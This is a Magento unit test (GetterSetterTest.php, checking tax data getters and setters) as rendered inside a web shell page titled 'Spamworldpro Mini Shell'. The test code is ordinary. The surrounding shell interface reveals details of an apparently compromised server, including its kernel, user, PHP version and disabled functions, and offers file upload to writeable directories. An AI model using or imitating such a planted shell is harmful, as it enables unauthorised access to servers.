Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/magento/module-tax/Test/Unit/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/magento/module-tax/Test/Unit/GetterSetterTest.php
<?php
/**
 * Copyright © Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */
declare(strict_types=1);

namespace Magento\Tax\Test\Unit;

use Magento\Customer\Model\Data\Address;
use Magento\Framework\TestFramework\Unit\Helper\ObjectManager;
use Magento\Sales\Model\Order\Tax\Item;
use Magento\Tax\Api\Data\AppliedTaxExtension;
use Magento\Tax\Api\Data\AppliedTaxRateExtension;
use Magento\Tax\Api\Data\OrderTaxDetailsAppliedTaxExtension;
use Magento\Tax\Api\Data\OrderTaxDetailsExtension;
use Magento\Tax\Api\Data\OrderTaxDetailsItemExtension;
use Magento\Tax\Api\Data\QuoteDetailsExtension;
use Magento\Tax\Api\Data\QuoteDetailsItemExtension;
use Magento\Tax\Api\Data\TaxClassExtension;
use Magento\Tax\Api\Data\TaxClassKeyExtension;
use Magento\Tax\Api\Data\TaxDetailsExtension;
use Magento\Tax\Api\Data\TaxDetailsItemExtension;
use Magento\Tax\Api\Data\TaxRateExtension;
use Magento\Tax\Api\Data\TaxRateTitleExtension;
use Magento\Tax\Api\Data\TaxRuleExtension;
use Magento\Tax\Model\Calculation\Rate;
use Magento\Tax\Model\Calculation\Rate\Title;
use Magento\Tax\Model\Calculation\Rule;
use Magento\Tax\Model\ClassModel;
use Magento\Tax\Model\Sales\Order\Details;
use Magento\Tax\Model\Sales\Order\Tax;
use Magento\Tax\Model\Sales\Quote\ItemDetails;
use Magento\Tax\Model\Sales\Quote\QuoteDetails;
use Magento\Tax\Model\TaxClass\Key;
use Magento\Tax\Model\TaxDetails\AppliedTax;
use Magento\Tax\Model\TaxDetails\AppliedTaxRate;
use Magento\Tax\Model\TaxDetails\TaxDetails;
use PHPUnit\Framework\TestCase;

/**
 * @SuppressWarnings(PHPMD.CouplingBetweenObjects)
 */
class GetterSetterTest extends TestCase
{
    /**
     * @param string $className
     * @param array $variables
     * @dataProvider dataProviderGettersSetters
     */
    public function testGettersSetters($className = null, $variables = null)
    {
        $objectManager = new ObjectManager($this);
        $classObject = $objectManager->getObject($className);

        foreach ($variables as $variableName => $variableValue) {
            $setterName = 'set' . $variableName;

            $this->assertTrue(
                method_exists($classObject, $setterName),
                "Method " . $setterName . " does not exist in " . $className
            );

            if (is_array($variableValue)) {
                if (strpos((string)$variableValue[0], 'Magento') !== false) {
                    $obj = $objectManager->getObject($variableValue[0]);
                    $variableValue = [$obj];
                    $variables[$variableName] = $variableValue;
                }
            } elseif (strpos((string)$variableValue, 'Magento') !== false) {
                $obj = $objectManager->getObject($variableValue);
                $variableValue = $obj;
                $variables[$variableName] = $variableValue;
            }
            $this->assertNotFalse(
                call_user_func(
                    [$classObject, $setterName],
                    $variableValue
                ),
                "Calling method " . $setterName . " failed in " . $className
            );
        }

        foreach ($variables as $variableName => $variableValue) {
            $getterName = 'get' . $variableName;

            $this->assertTrue(
                method_exists($classObject, $getterName),
                "Method " . $getterName . " does not exist in " . $className
            );
            $result = call_user_func([$classObject, $getterName]);
            $this->assertNotFalse(
                $result,
                "Calling method " . $getterName . " failed in " . $className
            );
            $this->assertSame(
                $result,
                $variableValue,
                "Value from " . $getterName . "did not match in " . $className
            );
        }
    }

    /**
     * @return array
     * @SuppressWarnings(PHPMD.ExcessiveMethodLength)
     */
    public function dataProviderGettersSetters()
    {
        // Test each class that implements the Tax Api Data Interfaces
        return [
            [AppliedTax::class,
                [
                    'TaxRateKey' => 'taxRateKey',
                    'Percent' => 1.0,
                    'Amount' => 1.0,
                    'Rates' => [AppliedTaxRate::class
                    ],
                    'ExtensionAttributes' => AppliedTaxExtension::class
                ]
            ],
            [AppliedTaxRate::class,
                [
                    'Code' => 'code',
                    'Title' => 'title',
                    'Percent' => 1.0,
                    'ExtensionAttributes' => AppliedTaxRateExtension::class
                ]
            ],
            [Tax::class,
                [
                    'Code' => 'code',
                    'Title' => 'title',
                    'Percent' => 1.0,
                    'Amount' => 'amount',
                    'BaseAmount' => 'baseAmount',
                    'ExtensionAttributes' => OrderTaxDetailsAppliedTaxExtension::class
                ]
            ],
            [Details::class,
                [
                    'AppliedTaxes' => [Tax::class
                    ],
                    'Items' => [Item::class
                    ],
                    'ExtensionAttributes' => OrderTaxDetailsExtension::class
                ]
            ],
            [Item::class,
                [
                    'Type' => 'type',
                    'ItemId' => 1,
                    'AssociatedItemId' => 1,
                    'AppliedTaxes' => [Tax::class
                    ],
                    'ExtensionAttributes' => OrderTaxDetailsItemExtension::class
                ]
            ],
            [QuoteDetails::class,
                [
                    'BillingAddress' => Address::class,
                    'ShippingAddress' => Address::class,
                    'CustomerTaxClassKey' => Key::class,
                    'CustomerId' => 1,
                    'Items' => [Item::class
                    ],
                    'CustomerTaxClassId' => 1,
                    'ExtensionAttributes' => QuoteDetailsExtension::class
                ]
            ],
            [ItemDetails::class,
                [
                    'Code' => 'code',
                    'Type' => 'type',
                    'TaxClassKey' => Key::class,
                    'UnitPrice' => 1.0,
                    'Quantity' => 1.0,
                    'IsTaxIncluded' => true,
                    'ShortDescription' => 'shortDescription',
                    'DiscountAmount' => 1.0,
                    'ParentCode' => 'parentCode',
                    'AssociatedItemCode' => 1,
                    'TaxClassId' => 1,
                    'ExtensionAttributes' => QuoteDetailsItemExtension::class
                ]
            ],
            [ClassModel::class,
                [
                    'ClassId' => 1,
                    'ClassName' => 'className',
                    'ClassType' => 'classType',
                    'ExtensionAttributes' => TaxClassExtension::class
                ]
            ],
            [Key::class,
                [
                    'Type' => 'type',
                    'Value' => 'value',
                    'ExtensionAttributes' => TaxClassKeyExtension::class
                ]
            ],
            [TaxDetails::class,
                [
                    'Subtotal' => 1.0,
                    'TaxAmount' => 1.0,
                    'DiscountTaxCompensationAmount' => 1.0,
                    'AppliedTaxes' => [AppliedTax::class
                    ],
                    'Items' => [\Magento\Tax\Model\TaxDetails\ItemDetails::class
                    ],
                    'ExtensionAttributes' => TaxDetailsExtension::class
                ]
            ],
            [\Magento\Tax\Model\TaxDetails\ItemDetails::class,
                [
                    'Code' => 'code',
                    'Type' => 'type',
                    'TaxPercent' => 1.0,
                    'Price' => 1.0,
                    'PriceInclTax' => 1.0,
                    'RowTotal' => 1.0,
                    'RowTotalInclTax' => 1.0,
                    'RowTax' => 1.0,
                    'TaxableAmount' => 1.0,
                    'DiscountAmount' => 1.0,
                    'DiscountTaxCompensationAmount' => 1.0,
                    'AppliedTaxes' => [AppliedTax::class
                    ],
                    'AssociatedItemCode' => 1,
                    'ExtensionAttributes' => TaxDetailsItemExtension::class
                ]
            ],
            [Rate::class,
                [
                    'Id' => 1,
                    'TaxCountryId' => 'taxCountryId',
                    'TaxRegionId' => 1,
                    'RegionName' => 'regionName',
                    'TaxPostcode' => 'taxPostCode',
                    'ZipIsRange' => 1,
                    'ZipFrom' => 1,
                    'ZipTo' => 1,
                    'Rate' => 1.0,
                    'Code' => 'code',
                    'Titles' => [Title::class
                    ],
                    'ExtensionAttributes' => TaxRateExtension::class
                ]
            ],
            [Title::class,
                [
                    'StoreId' => 'storeId',
                    'Value' => 'value',
                    'ExtensionAttributes' => TaxRateTitleExtension::class
                ]
            ],
            [Rule::class,
                [
                    'Id' => 1,
                    'Code' => 'code',
                    'Priority' => 1,
                    'Position' => 1,
                    'CustomerTaxClassIds' => [1],
                    'ProductTaxClassIds' => [1],
                    'TaxRateIds' => [1],
                    'CalculateSubtotal' => true,
                    'ExtensionAttributes' => TaxRuleExtension::class
                ]
            ]
        ];
    }
}

Spamworldpro Mini